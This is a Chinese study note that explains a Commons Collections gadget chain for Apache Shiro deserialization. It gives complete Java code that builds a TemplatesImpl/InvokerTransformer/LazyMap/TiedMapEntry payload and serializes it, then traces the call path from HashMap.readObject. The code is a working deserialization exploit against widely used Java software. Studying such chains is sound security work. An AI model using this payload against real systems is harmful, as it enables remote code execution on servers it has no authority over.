这条链专门为shrio反序列化,因为shrio反序列不能用到Tranform数组

完整代码

  1. public class CCShiro {
  2. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  3. Field field = obj.getClass().getDeclaredField(fieldName);
  4. field.setAccessible(true);
  5. field.set(obj, value);
  6. }
  7. public static void main(String[] args) throws Exception{
  8. TemplatesImpl obj = new TemplatesImpl();
  9. byte[] code = Files.readAllBytes(Paths.get("D:\\project\\javaStudy\\cc\\ccStudy\\target\\classes\\com\\wang\\CC1\\Test.class"));
  10. byte[][] codes = {code};
  11. setFieldValue(obj, "_bytecodes", codes);
  12. setFieldValue(obj, "_name", "HelloTemplatesImpl");
  13. setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  14. //obj.newTransformer();
  15. //getClass只是先放着,后面会通过反射改为newTransformer,不过要满足有这个方法,要不会报错。
  16. Transformer transformer = new InvokerTransformer("getClass", null, null);
  17. HashMap<Object, Object> map = new HashMap<>();
  18. Map lazyMap = LazyMap.decorate(map, transformer);
  19. //lazyMap.ger(obj)
  20. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);
  21. //tiedMapEntry.toString()---->obj.getClass()
  22. HashMap<Object, Object> hashMap = new HashMap<>();
  23. hashMap.put(tiedMapEntry,"vvv");
  24. lazyMap.clear();//其实就是清理掉里面map.clear;
  25. //map.clear();
  26. setFieldValue(transformer, "iMethodName", "newTransformer");
  27. new ObjectOutputStream(new FileOutputStream("ccS")).writeObject(hashMap);
  28. new ObjectInputStream(new FileInputStream("ccS")).readObject();
  29. }
  30. }

入口HashMap.readObject hash()

HashMap.readObject hash() 和urldns的入口一样
image.png
key.hashCode,因为我们传入的是TiedMapEntry
所以是TiedMapEntry.hashCode()
image.png
TiedMapEntry.hashCode()调用链getValue()
image.png
getValue()里面然后就是map.ger(key) ,就是我们传入的 lazyMap.get(obj)
image.png

lazyMap.clear();分析

//lazyMap.clear();//其实就是清理掉里面map.clear;
map.clear();
为什么要调用lazyMap.clear();

因为hashMap在put的时候会计算一次TiedMapEntry.hashCode(),然后一直来到LazyMap.get(key)这个方法
会在里面put一次,反序列化的时候,就会存在同样的值了,所以需要clear()掉。这里和CC6链的操作是一样的道理。
image.png
这里为什么是lazyMap.clear()?不是里面map.clear() 因为这两个是一样的。
lazyMap在调用clear()方法的时候,因为本身没有重写这个方法,会找它爸爸
它爸是这样写的,lazyMap.clear()就是map.clear(),map是我们传进来的那个hashMap
image.png